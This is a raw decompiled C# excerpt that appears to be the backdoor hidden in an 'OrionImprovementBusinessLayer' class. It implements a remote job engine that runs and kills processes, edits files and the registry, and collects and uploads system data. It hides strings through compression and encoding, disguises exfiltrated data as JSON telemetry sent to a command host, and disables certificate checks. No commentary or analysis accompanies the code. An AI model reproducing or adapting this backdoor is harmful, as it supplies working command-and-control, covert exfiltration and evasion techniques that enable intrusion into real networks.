switch (job) | |
{ | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetTime: | |
{ | |
int num2; | |
OrionImprovementBusinessLayer.Job.SetTime(args, out num2); | |
this.delay = num2; | |
break; | |
} | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.CollectSystemDescription: | |
OrionImprovementBusinessLayer.Job.CollectSystemDescription(this.proxy.ToString(), out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.UploadSystemDescription: | |
OrionImprovementBusinessLayer.Job.UploadSystemDescription(args, out result, this.proxy.GetWebProxy()); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.RunTask: | |
num = OrionImprovementBusinessLayer.Job.RunTask(args, cl, out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetProcessByDescription: | |
OrionImprovementBusinessLayer.Job.GetProcessByDescription(args, out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.KillTask: | |
OrionImprovementBusinessLayer.Job.KillTask(args); | |
break; | |
} | |
if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.WriteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.FileExists || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileHash || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileSystemEntries) | |
{ | |
result2 = OrionImprovementBusinessLayer.HttpHelper.AddFileExecutionEngine(job, args, out result); | |
} | |
else | |
{ | |
result2 = num; | |
} | |
} | |
catch (Exception ex) | |
{ | |
if (!string.IsNullOrEmpty(result)) | |
{ | |
result += "\n"; | |
} | |
result += ex.Message; | |
result2 = ex.HResult; | |
} | |
return result2; | |
} | |
// Token: 0x0600099E RID: 2462 RVA: 0x00044C00 File Offset: 0x00042E00 | |
private static int AddRegistryExecutionEngine(OrionImprovementBusinessLayer.HttpHelper.JobEngine job, string[] args, out string result) | |
{ | |
result = null; | |
int result2 = 0; | |
switch (job) | |
{ | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue: | |
result2 = OrionImprovementBusinessLayer.Job.ReadRegistryValue(args, out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue: | |
result2 = OrionImprovementBusinessLayer.Job.SetRegistryValue(args); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteRegistryValue: | |
OrionImprovementBusinessLayer.Job.DeleteRegistryValue(args); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames: | |
OrionImprovementBusinessLayer.Job.GetRegistrySubKeyAndValueNames(args, out result); | |
break; | |
} | |
return result2; | |
} | |
// Token: 0x0600099F RID: 2463 RVA: 0x00044C50 File Offset: 0x00042E50 | |
private static int AddFileExecutionEngine(OrionImprovementBusinessLayer.HttpHelper.JobEngine job, string[] args, out string result) | |
{ | |
result = null; | |
int result2 = 0; | |
switch (job) | |
{ | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileSystemEntries: | |
OrionImprovementBusinessLayer.Job.GetFileSystemEntries(args, out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.WriteFile: | |
OrionImprovementBusinessLayer.Job.WriteFile(args); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.FileExists: | |
OrionImprovementBusinessLayer.Job.FileExists(args, out result); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteFile: | |
OrionImprovementBusinessLayer.Job.DeleteFile(args); | |
break; | |
case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileHash: | |
result2 = OrionImprovementBusinessLayer.Job.GetFileHash(args, out result); | |
break; | |
} | |
return result2; | |
} | |
// Token: 0x060009A0 RID: 2464 RVA: 0x00044CAC File Offset: 0x00042EAC | |
private static byte[] Deflate(byte[] body) | |
{ | |
int num = 0; | |
byte[] array = body.ToArray<byte>(); | |
for (int i = 1; i < array.Length; i++) | |
{ | |
byte[] array2 = array; | |
int num2 = i; | |
array2[num2] ^= array[0]; | |
num += (int)array[i]; | |
} | |
if ((byte)num == array[0]) | |
{ | |
return OrionImprovementBusinessLayer.ZipHelper.Decompress(array.Skip(1).ToArray<byte>()); | |
} | |
return null; | |
} | |
// Token: 0x060009A1 RID: 2465 RVA: 0x00044D00 File Offset: 0x00042F00 | |
private static byte[] Inflate(byte[] body) | |
{ | |
byte[] array = OrionImprovementBusinessLayer.ZipHelper.Compress(body); | |
byte[] array2 = new byte[array.Length + 1]; | |
array2[0] = (byte)array.Sum((byte b) => (int)b); | |
for (int i = 0; i < array.Length; i++) | |
{ | |
byte[] array3 = array; | |
int num = i; | |
array3[num] ^= array2[0]; | |
} | |
Array.Copy(array, 0, array2, 1, array.Length); | |
return array2; | |
} | |
// Token: 0x060009A2 RID: 2466 RVA: 0x00044D74 File Offset: 0x00042F74 | |
private OrionImprovementBusinessLayer.HttpHelper.JobEngine ParseServiceResponse(byte[] body, out string args) | |
{ | |
args = null; | |
try | |
{ | |
if (body == null || body.Length < 4) | |
{ | |
return OrionImprovementBusinessLayer.HttpHelper.JobEngine.None; | |
} | |
OrionImprovementBusinessLayer.HttpOipMethods httpOipMethods = this.requestMethod; | |
if (httpOipMethods != OrionImprovementBusinessLayer.HttpOipMethods.Put) | |
{ | |
if (httpOipMethods != OrionImprovementBusinessLayer.HttpOipMethods.Post) | |
{ | |
string[] value = (from Match m in Regex.Matches(Encoding.UTF8.GetString(body), OrionImprovementBusinessLayer.ZipHelper.Unzip("U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA"), RegexOptions.IgnoreCase) | |
select m.Value).ToArray<string>(); | |
body = OrionImprovementBusinessLayer.HexStringToByteArray(string.Join("", value).Replace("\"", string.Empty).Replace("-", string.Empty).Replace("{", string.Empty).Replace("}", string.Empty)); | |
} | |
else | |
{ | |
body = body.Skip(12).ToArray<byte>(); | |
} | |
} | |
else | |
{ | |
body = body.Skip(48).ToArray<byte>(); | |
} | |
int num = BitConverter.ToInt32(body, 0); | |
body = body.Skip(4).Take(num).ToArray<byte>(); | |
if (body.Length != num) | |
{ | |
return OrionImprovementBusinessLayer.HttpHelper.JobEngine.None; | |
} | |
string[] array = Encoding.UTF8.GetString(OrionImprovementBusinessLayer.HttpHelper.Deflate(body)).Trim().Split(new char[] | |
{ | |
' ' | |
}, 2); | |
OrionImprovementBusinessLayer.HttpHelper.JobEngine jobEngine = (OrionImprovementBusinessLayer.HttpHelper.JobEngine)int.Parse(array[0]); | |
args = ((array.Length > 1) ? array[1] : null); | |
return Enum.IsDefined(typeof(OrionImprovementBusinessLayer.HttpHelper.JobEngine), jobEngine) ? jobEngine : OrionImprovementBusinessLayer.HttpHelper.JobEngine.None; | |
} | |
catch (Exception) | |
{ | |
} | |
return OrionImprovementBusinessLayer.HttpHelper.JobEngine.None; | |
} | |
// Token: 0x060009A3 RID: 2467 RVA: 0x00044F14 File Offset: 0x00043114 | |
public static void Close(OrionImprovementBusinessLayer.HttpHelper http, Thread thread) | |
{ | |
if (thread != null && thread.IsAlive) | |
{ | |
if (http != null) | |
{ | |
http.Abort(); | |
} | |
try | |
{ | |
thread.Join(60000); | |
if (thread.IsAlive) | |
{ | |
thread.Abort(); | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
} | |
// Token: 0x060009A4 RID: 2468 RVA: 0x00044F68 File Offset: 0x00043168 | |
private string GetCache() | |
{ | |
byte[] array = this.customerId.ToArray<byte>(); | |
byte[] array2 = new byte[array.Length]; | |
this.random.NextBytes(array2); | |
for (int i = 0; i < array.Length; i++) | |
{ | |
byte[] array3 = array; | |
int num = i; | |
array3[num] ^= array2[2 + i % 4]; | |
} | |
return OrionImprovementBusinessLayer.ByteArrayToHexString(array) + OrionImprovementBusinessLayer.ByteArrayToHexString(array2); | |
} | |
// Token: 0x060009A5 RID: 2469 RVA: 0x00044FC8 File Offset: 0x000431C8 | |
private string GetOrionImprovementCustomerId() | |
{ | |
byte[] array = new byte[16]; | |
for (int i = 0; i < array.Length; i++) | |
{ | |
array[i] = (byte)((int)(~(int)this.customerId[i % (this.customerId.Length - 1)]) + i / this.customerId.Length); | |
} | |
return new Guid(array).ToString().Trim(new char[] | |
{ | |
'{', | |
'}' | |
}); | |
} | |
// Token: 0x060009A6 RID: 2470 RVA: 0x00045038 File Offset: 0x00043238 | |
private HttpStatusCode CreateUploadRequestImpl(HttpWebRequest request, byte[] inData, out byte[] outData) | |
{ | |
outData = null; | |
try | |
{ | |
request.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) => true)); | |
request.Proxy = this.proxy.GetWebProxy(); | |
request.UserAgent = this.GetUserAgent(); | |
request.KeepAlive = false; | |
request.Timeout = 120000; | |
request.Method = "GET"; | |
if (inData != null) | |
{ | |
request.Method = "POST"; | |
using (Stream requestStream = request.GetRequestStream()) | |
{ | |
requestStream.Write(inData, 0, inData.Length); | |
} | |
} | |
using (WebResponse response = request.GetResponse()) | |
{ | |
using (Stream responseStream = response.GetResponseStream()) | |
{ | |
byte[] array = new byte[4096]; | |
using (MemoryStream memoryStream = new MemoryStream()) | |
{ | |
int count; | |
while ((count = responseStream.Read(array, 0, array.Length)) > 0) | |
{ | |
memoryStream.Write(array, 0, count); | |
} | |
outData = memoryStream.ToArray(); | |
} | |
} | |
return ((HttpWebResponse)response).StatusCode; | |
} | |
} | |
catch (WebException ex) | |
{ | |
if (ex.Status == WebExceptionStatus.ProtocolError && ex.Response != null) | |
{ | |
return ((HttpWebResponse)ex.Response).StatusCode; | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
return HttpStatusCode.Unused; | |
} | |
// Token: 0x060009A7 RID: 2471 RVA: 0x00045228 File Offset: 0x00043428 | |
private HttpStatusCode CreateUploadRequest(OrionImprovementBusinessLayer.HttpHelper.JobEngine job, int err, string response, out byte[] outData) | |
{ | |
string text = this.httpHost; | |
byte[] array = null; | |
OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods httpOipExMethods = (job != OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle && job != OrionImprovementBusinessLayer.HttpHelper.JobEngine.None) ? OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Head : OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Get; | |
outData = null; | |
try | |
{ | |
if (!string.IsNullOrEmpty(response)) | |
{ | |
byte[] bytes = Encoding.UTF8.GetBytes(response); | |
byte[] bytes2 = BitConverter.GetBytes(err); | |
byte[] array2 = new byte[bytes.Length + bytes2.Length + this.customerId.Length]; | |
Array.Copy(bytes, array2, bytes.Length); | |
Array.Copy(bytes2, 0, array2, bytes.Length, bytes2.Length); | |
Array.Copy(this.customerId, 0, array2, bytes.Length + bytes2.Length, this.customerId.Length); | |
array = OrionImprovementBusinessLayer.HttpHelper.Inflate(array2); | |
httpOipExMethods = ((array.Length <= 10000) ? OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Put : OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Post); | |
} | |
if (!text.StartsWith(Uri.UriSchemeHttp + "://", StringComparison.OrdinalIgnoreCase) && !text.StartsWith(Uri.UriSchemeHttps + "://", StringComparison.OrdinalIgnoreCase)) | |
{ | |
text = Uri.UriSchemeHttps + "://" + text; | |
} | |
if (!text.EndsWith("/")) | |
{ | |
text += "/"; | |
} | |
text += this.GetBaseUri(httpOipExMethods, err); | |
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text); | |
if (httpOipExMethods == OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Get || httpOipExMethods == OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Head) | |
{ | |
httpWebRequest.Headers.Add(OrionImprovementBusinessLayer.ZipHelper.Unzip("80zT9cvPS9X1TSxJzgAA"), this.GetCache()); | |
} | |
if (httpOipExMethods == OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Put && (this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Get || this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Head)) | |
{ | |
int[] intArray = this.GetIntArray((array != null) ? array.Length : 0); | |
int num = 0; | |
ulong num2 = (ulong)DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; | |
num2 -= 300000UL; | |
string text2 = "{"; | |
text2 += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("UyotTi3yTFGyUqo2qFXSAQA="), this.GetOrionImprovementCustomerId()); | |
text2 += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("UypOLS7OzM/zTFGyUqo2qFXSAQA="), this.sessionId.ToString().Trim(new char[] | |
{ | |
'{', | |
'}' | |
})); | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("UyouSS0oVrKKBgA="); | |
for (int i = 0; i < intArray.Length; i++) | |
{ | |
uint num3 = (uint)((this.random.Next(4) == 0) ? this.random.Next(512) : 0); | |
num2 += (ulong)num3; | |
byte[] array3; | |
if (intArray[i] > 0) | |
{ | |
num2 |= 2UL; | |
array3 = array.Skip(num).Take(intArray[i]).ToArray<byte>(); | |
num += intArray[i]; | |
} | |
else | |
{ | |
num2 &= 18446744073709551613UL; | |
array3 = new byte[this.random.Next(16, 28)]; | |
for (int j = 0; j < array3.Length; j++) | |
{ | |
array3[j] = (byte)this.random.Next(); | |
} | |
} | |
text2 += "{"; | |
text2 += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("UwrJzE0tLknMLVCyUorRd0ksSdWoNqjVjNFX0gEA"), num2); | |
string str = text2; | |
string format = OrionImprovementBusinessLayer.ZipHelper.Unzip("U/LMS0mtULKqNqjVAQA="); | |
int num4 = this.mIndex; | |
this.mIndex = num4 + 1; | |
text2 = str + string.Format(format, num4); | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("U3ItS80rCaksSFWyUvIvyszPU9IBAA=="); | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA=="); | |
text2 += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("U3IpLUosyczP8y1Wsqo2qNUBAA=="), num3); | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("UwouTU5OTU1JTVGyKikqTdUBAA=="); | |
text2 += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("U/JNLS5OTE9VslKqNqhVAgA="), Convert.ToBase64String(array3).Replace("/", "\\/")); | |
text2 += ((i + 1 != intArray.Length) ? "}," : "}"); | |
} | |
text2 += "]}"; | |
httpWebRequest.ContentType = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywoyMlMTizJzM/TzyrOzwMA"); | |
array = Encoding.UTF8.GetBytes(text2); | |
} | |
if (httpOipExMethods == OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Post || this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Put || this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Post) | |
{ | |
httpWebRequest.ContentType = OrionImprovementBusinessLayer.ZipHelper.Unzip("SywoyMlMTizJzM/Tz08uSS3RLS4pSk3MBQA="); | |
} | |
return this.CreateUploadRequestImpl(httpWebRequest, array, out outData); | |
} | |
catch (Exception) | |
{ | |
} | |
return (HttpStatusCode)0; | |
} | |
// Token: 0x060009A8 RID: 2472 RVA: 0x00045694 File Offset: 0x00043894 | |
private int[] GetIntArray(int sz) | |
{ | |
int[] array = new int[30]; | |
int num = sz; | |
for (int i = array.Length - 1; i >= 0; i--) | |
{ | |
if (num < 16 || i == 0) | |
{ | |
array[i] = num; | |
break; | |
} | |
int num2 = num / (i + 1) + 1; | |
if (num2 < 16) | |
{ | |
array[i] = this.random.Next(16, Math.Min(32, num) + 1); | |
num -= array[i]; | |
} | |
else | |
{ | |
int num3 = Math.Min(512 - num2, num2 - 16); | |
array[i] = this.random.Next(num2 - num3, num2 + num3 + 1); | |
num -= array[i]; | |
} | |
} | |
return array; | |
} | |
// Token: 0x060009A9 RID: 2473 RVA: 0x00045729 File Offset: 0x00043929 | |
private bool Valid(int percent) | |
{ | |
return this.random.Next(100) < percent; | |
} | |
// Token: 0x060009AA RID: 2474 RVA: 0x0004573C File Offset: 0x0004393C | |
private string GetBaseUri(OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods method, int err) | |
{ | |
int num = (method != OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Get && method != OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Head) ? 1 : 16; | |
string baseUriImpl; | |
ulong hash; | |
for (;;) | |
{ | |
baseUriImpl = this.GetBaseUriImpl(method, err); | |
hash = OrionImprovementBusinessLayer.GetHash(baseUriImpl); | |
if (!this.UriTimeStamps.Contains(hash)) | |
{ | |
break; | |
} | |
if (--num <= 0) | |
{ | |
return baseUriImpl; | |
} | |
} | |
this.UriTimeStamps.Add(hash); | |
return baseUriImpl; | |
} | |
// Token: 0x060009AB RID: 2475 RVA: 0x0004578C File Offset: 0x0004398C | |
private string GetBaseUriImpl(OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods method, int err) | |
{ | |
string text = null; | |
if (method == OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Head) | |
{ | |
text = ((ushort)err).ToString(); | |
} | |
if (this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Post) | |
{ | |
string[] array = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("0y3Kzy8BAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("001OLSoBAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("0y3NyyxLLSpOzIlPTgQA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("001OBAA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("0y0oysxNLKqMT04EAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("0y3JzE0tLknMLQAA"), | |
"", | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("003PyU9KzAEA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("0y1OTS4tSk1OBAA=") | |
}; | |
return string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("K8jO1E8uytGvNqitNqytNqrVA/IA"), this.random.Next(100, 10000), array[this.random.Next(array.Length)], (text == null) ? "" : ("-" + text)); | |
} | |
if (this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Put) | |
{ | |
string[] array2 = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c8rPSQEA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c8rPSfEsSczJTAYA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c60oKUp0ys9JAQA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c60oKUp0ys9J8SxJzMlMBgA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("8yxJzMlMBgA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("88lMzygBAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("88lMzyjxLEnMyUwGAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C0pNL81JLAIA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NzXTKz0kBAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NzXTKz0nxLEnMyUwGAA==") | |
}; | |
string[] array3 = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("yy9IzStOzCsGAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("y8svyQcA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("SytKTU3LzysBAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C84vLUpOdc5PSQ0oygcA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C84vLUpODU4tykwLKMoHAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C84vLUpO9UjMC07MKwYA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C84vLUpO9UjMC04tykwDAA==") | |
}; | |
int num = this.random.Next(array3.Length); | |
if (num <= 1) | |
{ | |
return string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA"), new object[] | |
{ | |
this.random.Next(100, 10000), | |
array3[num], | |
array2[this.random.Next(array2.Length)].ToLower(), | |
text | |
}); | |
} | |
return string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA="), new object[] | |
{ | |
this.random.Next(100, 10000), | |
array3[num], | |
array2[this.random.Next(array2.Length)], | |
text | |
}); | |
} | |
else | |
{ | |
if (method <= OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Head) | |
{ | |
string text2 = ""; | |
if (this.Valid(20)) | |
{ | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("C87PSSwKz8xLKQYA"); | |
if (this.Valid(40)) | |
{ | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("03POLypJrQjIKU3PzAMA"); | |
} | |
} | |
if (this.Valid(80)) | |
{ | |
text2 += OrionImprovementBusinessLayer.ZipHelper.Unzip("0/MvyszPAwA="); | |
} | |
if (this.Valid(80)) | |
{ | |
string[] array4 = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C88sSs1JLS4GAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C/UEAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C89MSU8tKQYA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("8wvwBQA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("cyzIz8nJBwA="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c87JL03xzc/LLMkvysxLBwA=") | |
}; | |
text2 = text2 + "." + array4[this.random.Next(array4.Length)]; | |
} | |
if (this.Valid(30) || string.IsNullOrEmpty(text2)) | |
{ | |
string[] array5 = new string[] | |
{ | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("88tPSS0GAA=="), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("C8vPKc1NLQYA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("88wrSS1KS0xOLQYA"), | |
OrionImprovementBusinessLayer.ZipHelper.Unzip("c87PLcjPS80rKQYA") | |
}; | |
text2 = text2 + "." + array5[this.random.Next(array5.Length)]; | |
} | |
if (this.Valid(30) || text != null) | |
{ | |
text2 = string.Concat(new object[] | |
{ | |
text2, | |
"-", | |
this.random.Next(1, 20), | |
".", | |
this.random.Next(1, 30) | |
}); | |
if (text != null) | |
{ | |
text2 = text2 + "." + ((ushort)err).ToString(); | |
} | |
} | |
return OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky7PLNAvLUjRBwA=") + text2.TrimStart(new char[] | |
{ | |
'.' | |
}) + OrionImprovementBusinessLayer.ZipHelper.Unzip("06vIzQEA"); | |
} | |
if (method != OrionImprovementBusinessLayer.HttpHelper.HttpOipExMethods.Put) | |
{ | |
return OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky7PLNAPLcjJT0zRSyzOqAAA"); | |
} | |
return OrionImprovementBusinessLayer.ZipHelper.Unzip("Ky7PLNB3LUvNKykGAA=="); | |
} | |
} | |
// Token: 0x060009AC RID: 2476 RVA: 0x00045C44 File Offset: 0x00043E44 | |
private string GetUserAgent() | |
{ | |
if (this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Put || this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Get) | |
{ | |
return null; | |
} | |
if (this.requestMethod == OrionImprovementBusinessLayer.HttpOipMethods.Post) | |
{ | |
if (string.IsNullOrEmpty(OrionImprovementBusinessLayer.userAgentDefault)) | |
{ | |
OrionImprovementBusinessLayer.userAgentDefault = OrionImprovementBusinessLayer.ZipHelper.Unzip("881MLsovzk8r0XUuqiwoyXcM8NQHAA=="); | |
OrionImprovementBusinessLayer.userAgentDefault += OrionImprovementBusinessLayer.GetOSVersion(false); | |
} | |
return OrionImprovementBusinessLayer.userAgentDefault; | |
} | |
if (string.IsNullOrEmpty(OrionImprovementBusinessLayer.userAgentOrionImprovementClient)) | |
{ | |
OrionImprovementBusinessLayer.userAgentOrionImprovementClient = OrionImprovementBusinessLayer.ZipHelper.Unzip("C87PSSwKz8xLKfYvyszP88wtKMovS81NzStxzskEkvoA"); | |
try | |
{ | |
string text = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location); | |
text += OrionImprovementBusinessLayer.ZipHelper.Unzip("i/EvyszP88wtKMovS81NzSuJCc7PSSwKz8xLKdZDl9NLrUgFAA=="); | |
OrionImprovementBusinessLayer.userAgentOrionImprovementClient += FileVersionInfo.GetVersionInfo(text).FileVersion; | |
} | |
catch (Exception) | |
{ | |
OrionImprovementBusinessLayer.userAgentOrionImprovementClient += OrionImprovementBusinessLayer.ZipHelper.Unzip("M9YzAEJjCyMA"); | |
} | |
} | |
return OrionImprovementBusinessLayer.userAgentOrionImprovementClient; | |
} | |
// Token: 0x040002F3 RID: 755 | |
private readonly Random random = new Random(); | |
// Token: 0x040002F4 RID: 756 | |
private readonly byte[] customerId; | |
// Token: 0x040002F5 RID: 757 | |
private readonly string httpHost; | |
// Token: 0x040002F6 RID: 758 | |
private readonly OrionImprovementBusinessLayer.HttpOipMethods requestMethod; | |
// Token: 0x040002F7 RID: 759 | |
private bool isAbort; | |
// Token: 0x040002F8 RID: 760 | |
private int delay; | |
// Token: 0x040002F9 RID: 761 | |
private int delayInc; | |
// Token: 0x040002FA RID: 762 | |
private readonly OrionImprovementBusinessLayer.Proxy proxy; | |
// Token: 0x040002FB RID: 763 | |
private DateTime timeStamp = DateTime.Now; | |
// Token: 0x040002FC RID: 764 | |
private int mIndex; | |
// Token: 0x040002FD RID: 765 | |
private Guid sessionId = Guid.NewGuid(); | |
// Token: 0x040002FE RID: 766 | |
private readonly List<ulong> UriTimeStamps = new List<ulong>(); | |
// Token: 0x020001C3 RID: 451 | |
private enum JobEngine | |
{ | |
// Token: 0x040005A8 RID: 1448 | |
Idle, | |
// Token: 0x040005A9 RID: 1449 | |
Exit, | |
// Token: 0x040005AA RID: 1450 | |
SetTime, | |
// Token: 0x040005AB RID: 1451 | |
CollectSystemDescription, | |
// Token: 0x040005AC RID: 1452 | |
UploadSystemDescription, | |
// Token: 0x040005AD RID: 1453 | |
RunTask, | |
// Token: 0x040005AE RID: 1454 | |
GetProcessByDescription, | |
// Token: 0x040005AF RID: 1455 | |
KillTask, | |
// Token: 0x040005B0 RID: 1456 | |
GetFileSystemEntries, | |
// Token: 0x040005B1 RID: 1457 | |
WriteFile, | |
// Token: 0x040005B2 RID: 1458 | |
FileExists, | |
// Token: 0x040005B3 RID: 1459 | |
DeleteFile, | |
// Token: 0x040005B4 RID: 1460 | |
GetFileHash, | |
// Token: 0x040005B5 RID: 1461 | |
ReadRegistryValue, | |
// Token: 0x040005B6 RID: 1462 | |
SetRegistryValue, | |
// Token: 0x040005B7 RID: 1463 | |
DeleteRegistryValue, | |
// Token: 0x040005B8 RID: 1464 | |
GetRegistrySubKeyAndValueNames, | |
// Token: 0x040005B9 RID: 1465 | |
Reboot, | |
// Token: 0x040005BA RID: 1466 | |
None | |
} | |
// Token: 0x020001C4 RID: 452 | |
private enum HttpOipExMethods | |
{ | |
// Token: 0x040005BC RID: 1468 | |
Get, | |
// Token: 0x040005BD RID: 1469 | |
Head, | |
// Token: 0x040005BE RID: 1470 | |
Put, | |
// Token: 0x040005BF RID: 1471 | |
Post | |
} | |
} | |
// Token: 0x020000D6 RID: 214 | |
private static class DnsHelper | |
{ | |
// Token: 0x060009AD RID: 2477 RVA: 0x00045D2C File Offset: 0x00043F2C | |
public static bool CheckServerConnection(string hostName) | |
{ | |
try | |
{ | |
IPHostEntry iphostEntry = OrionImprovementBusinessLayer.DnsHelper.GetIPHostEntry(hostName); | |
if (iphostEntry != null) | |
{ | |
IPAddress[] addressList = iphostEntry.AddressList; | |
for (int i = 0; i < addressList.Length; i++) | |
{ | |
OrionImprovementBusinessLayer.AddressFamilyEx addressFamily = OrionImprovementBusinessLayer.IPAddressesHelper.GetAddressFamily(addressList[i]); | |
if (addressFamily != OrionImprovementBusinessLayer.AddressFamilyEx.Error && addressFamily != OrionImprovementBusinessLayer.AddressFamilyEx.Atm) | |
{ | |
return true; | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
return false; | |
} | |
// Token: 0x060009AE RID: 2478 RVA: 0x00045D88 File Offset: 0x00043F88 | |
public static IPHostEntry GetIPHostEntry(string hostName) | |
{ | |
int[][] array = new int[][] | |
{ | |
new int[] | |
{ | |
25, | |
30 | |
}, | |
new int[] | |
{ | |
55, | |
60 | |
} | |
}; | |
int num = array.GetLength(0) + 1; | |
for (int i = 1; i <= num; i++) | |
{ | |
try | |
{ | |
return Dns.GetHostEntry(hostName); | |
} | |
catch (SocketException) | |
{ | |
} | |
if (i + 1 <= num) | |
{ | |
OrionImprovementBusinessLayer.DelayMs((double)(array[i - 1][0] * 1000), (double)(array[i - 1][1] * 1000)); | |
} | |
} | |
return null; | |
} | |
